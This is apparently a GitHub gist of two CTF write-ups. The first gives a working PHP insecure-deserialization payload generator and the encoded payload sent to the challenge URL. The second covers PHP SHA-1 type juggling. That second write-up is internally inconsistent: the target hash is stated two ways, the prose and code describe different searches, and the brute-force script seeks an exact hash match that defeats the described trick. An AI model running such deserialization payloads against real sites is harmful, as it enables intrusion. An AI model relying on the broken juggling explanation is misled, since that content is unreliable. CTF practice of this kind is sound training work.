Skip to content

Instantly share code, notes, and snippets.

@z0rs
Last active August 26, 2023 18:15
Show Gist options
  • Save z0rs/54690945c54128973c29819b3c8514d2 to your computer and use it in GitHub Desktop.
Save z0rs/54690945c54128973c29819b3c8514d2 to your computer and use it in GitHub Desktop.

Serialization Saga CTF Challenge

  • Challenge: Serialization Saga
  • Points: 100
  • Category: Insecure Deserialization

Challenge Description

This challenge is a CTF designed to test the ability to identify and exploit insecure deserialization vulnerabilities. Participants are required to perform certain functions by exploiting these vulnerabilities and obtaining flags as a result.

Steps

  1. First, we are given the PHP code that defines the CloudSEK class used for deserialization. There are three functions that can be called: XVIgil, BeVigil, and GetMeDemFlagz.

  2. We see that the __wakeup() function is called when the object is deserialized. Here, the function checks if the object's func_no and func_name match. If it matches, the corresponding function will be called.

  3. We need to find a way to call the GetMeDemFlagz function which will retrieve the contents of the flags file. We have to create an object that has a func_no 3 and an altered func_name using the str_rot13 function to get results that match the condition.

  4. Create a PHP file (eg exploit.php) and enter the following code:

<?php
class CloudSEK {
    public $func_no;
    public $func_name;
}

$obj = new CloudSEK();
$obj->func_no = 3;
$obj->func_name = str_rot13("GetMeDemFlagz");

$data = serialize($obj);
$sess = base64_encode($data);

echo "Payload: " . urlencode($sess);
?>
  1. Run the script with the php exploit.php command.

  2. You will get output in the form of urlencoded payload. Copy the payload. Tzo4OiJDbG91ZFNFSyI6Mjp7czo3OiJmdW5jX25vIjtpOjM7czo5OiJmdW5jX25hbWUiO3M6MTM6IlRyZ1pyUXJ6U3ludG0iO30%3D

  3. Open a browser and visit the "Serialization Saga" challenge URL by adding a GET sess parameter containing the urlencoded payload. https://webctf.cloudsek.com/serialization-saga?sess=

  4. If successful, you'll see the flags assigned by the challenge. https://webctf.cloudsek.com/serialization-saga?sess=Tzo4OiJDbG91ZFNFSyI6Mjp7czo3OiJmdW5jX25vIjtpOjM7czo5OiJmdW5jX25hbWUiO3M6MTM6IlRyZ1pyUXJ6U3ludG0iO30%3D

flags CSEK{PhP_0Bj3CT_D3$3R1L1Z@T10N}

The SHA Juggler CTF Challenge

  • Challenge: The SHA Juggler
  • Points: 100
  • Categories: PHP Type Juggling, Web Exploitation

Challenge Description

In "The SHA Juggler" challenge, you are faced with PHP code that contains a data type comparison process that results in a PHP type juggling vulnerability. You have to find an input value that when hashed using the SHA-1 algorithm will produce the same hash as the given target.

Steps

  1. In the PHP code that you provide, there is a comparison between the hash of the value given by the hash parameter in the URL and the hash of the predefined target. However, due to PHP type juggling, this comparison can produce unexpected results.
~echo -n "50 44 39 77 61 48 41 4b 4c 79 38 67 65 57 39 31 58 32 5a 76 64 57 35 6b 58 32 31 6c 4c 6e 42 6f 63 41 70 70 5a 69 41 6f 61 58 4e 7a 5a 58 51 6f 4a
46 39 48 52 56 52 62 4a 32 68 68 63 32 67 6e 58 53 6b 70 49 48 73 4b 49 43 41 67 49 47 6c 6d 49 43 67 6b 58 30 64 46 56 46 73 6e 61 47 46 7a 61 43 64 64 49 44 30 39 50 53 41 69 4d 54 41 35 4d 7a 49 30 4d 7a 55 78 4d 54 49 69 4b 53 42 37 43
69 41 67 49 43 41 67 49 43 41 67 5a 47 6c 6c 4b 43 64 45 62 79 42 35 62 33 55 67 64 47 68 70 62 6d 73 67 61 58 52 7a 49 48 52 6f 59 58 51 67 5a 57 46 7a 65 54 38 2f 4a 79 6b 37 43 69 41 67 49 43 42 39 43 69 41 67 49 43 41 6b 61 47 46 7a 61
43 41 39 49 48 4e 6f 59 54 45 6f 4a 46 39 48 52 56 52 62 4a 32 68 68 63 32 67 6e 58 53 6b 37 43 69 41 67 49 43 41 6b 64 47 46 79 5a 32 56 30 49 44 30 67 63 32 68 68 4d 53 67 78 4d 44 6b 7a 4d 6a 51 7a 4e 54 45 78 4d 69 6b 37 43 69 41 67 49
43 42 70 5a 69 67 6b 61 47 46 7a 61 43 41 39 50 53 41 6b 64 47 46 79 5a 32 56 30 4b 53 42 37 43 69 41 67 49 43 41 67 49 43 41 67 61 57 35 6a 62 48 56 6b 5a 53 67 6e 5a 6d 78 68 5a 79 35 77 61 48 41 6e 4b 54 73 4b 49 43 41 67 49 43 41 67 49
43 42 77 63 6d 6c 75 64 43 41 6b 5a 6d 78 68 5a 7a 73 4b 49 43 41 67 49 48 30 67 5a 57 78 7a 5a 53 42 37 43 69 41 67 49 43 41 67 49 43 41 67 63 48 4a 70 62 6e 51 67 49 6b 4e 54 52 55 74 37 62 6a 42 66 4e 47 78 68 5a 31 38 30 58 33 56 39 49
6a 73 4b 49 43 41 67 49 48 30 4b 66 53 41 4b 50 7a 34 3d" | xxd -r -p
~echo "PD9waHAKLy8geW91X2ZvdW5kX21lLnBocAppZiAoaXNzZXQoJF9HRVRbJ2hhc2gnXSkpIHsKICAgIGlmICgkX0dFVFsnaGFzaCddID09PSAiMTA5MzI0MzUxMTIiKSB7CiAgICAgICAgZGllKCdEbyB5b3UgdGhpbmsgaXRzIHRoYXQgZWFzeT8/Jyk7CiAgICB9CiAgICAkaGFzaCA9IHNoYTEoJF9HRVRbJ2hhc2gnXSk7CiAgICAkdGFyZ2V0ID0gc2hhMSgxMDkzMjQzNTExMik7CiAgICBpZigkaGFzaCA9PSAkdGFyZ2V0KSB7CiAgICAgICAgaW5jbHVkZSgnZmxhZy5waHAnKTsKICAgICAgICBwcmludCAkZmxhZzsKICAgIH0gZWxzZSB7CiAgICAgICAgcHJpbnQgIkNTRUt7bjBfNGxhZ180X3V9IjsKICAgIH0KfSAKPz4=" | base64 -d
<?php
// you_found_me.php
if (isset($_GET['hash'])) {
    if ($_GET['hash'] === "10932435112") {
        die('Do you think its that easy??');
    }
    $hash = sha1($_GET['hash']);
    $target = sha1(10932435112);
    if($hash == $target) {
        include('flag.php');
        print $flag;
    } else {
        print "CSEK{n0_4lag_4_u}";
    }
}
?>
  1. Focus on the following sections of the PHP code:
$hash = sha1($_GET['hash']);
$target = sha1(10932435112);
if ($hash == $target) {
    include('flag.php');
    print $flag;
} else {
    print "CSEK{n0_4lag_4_u}";
}
  1. Your goal is to find an input value that, when hashed using SHA-1, produces a hash equal to the target hash 0e76658526655756207688271159624026011393.

  2. You can use a Python script to perform a search for the appropriate value. In this script, the numbers from 0 to 99999 will be hashed using SHA-1, and if the hash matches the target, then the number will be printed.

import hashlib
import random
import string

target = "10932435112"
target_hash = hashlib.sha1(target.encode()).hexdigest()

print("Target hash:", target_hash)

def generate_random_string(length):
    characters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(characters) for _ in range(length))

found = False
attempts = 0

while not found:
    input_str = generate_random_string(20) 
    hash_result = hashlib.sha1(input_str.encode()).hexdigest()

    if hash_result == target_hash:
        print("Found a match! Input:", input_str)
        print("Hash result:", hash_result)
        found = True
    else:
        attempts += 1

print("Total attempts:", attempts)

So, sha(10932435112) gives 0e0e76658526655756207688271159624026011393, which in integer terms is 0*10^07766915004133176347055865026311692244. We know that == converts anything which looks like integer, so 0^anthing is zero. Now this value is getting compared to the $hash variable which is the sha1($hash which we send).

  1. Run the script using the python3 The-SHA-Juggler.py command.

  2. The script will print the input value which, after being hashed with SHA-1, results in the same hash as the target.

Conclusion

"The SHA Juggler" challenge demonstrates a PHP type juggling vulnerability and how it can be exploited in hash comparisons. By understanding this concept and using programming, you can identify the input values ​​that produce the desired hash. This is an example of how a deep understanding of programming languages ​​and security holes can help you solve this kind of security challenge. Remember to always behave ethically and only perform penetration tests on systems you have permission to test.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment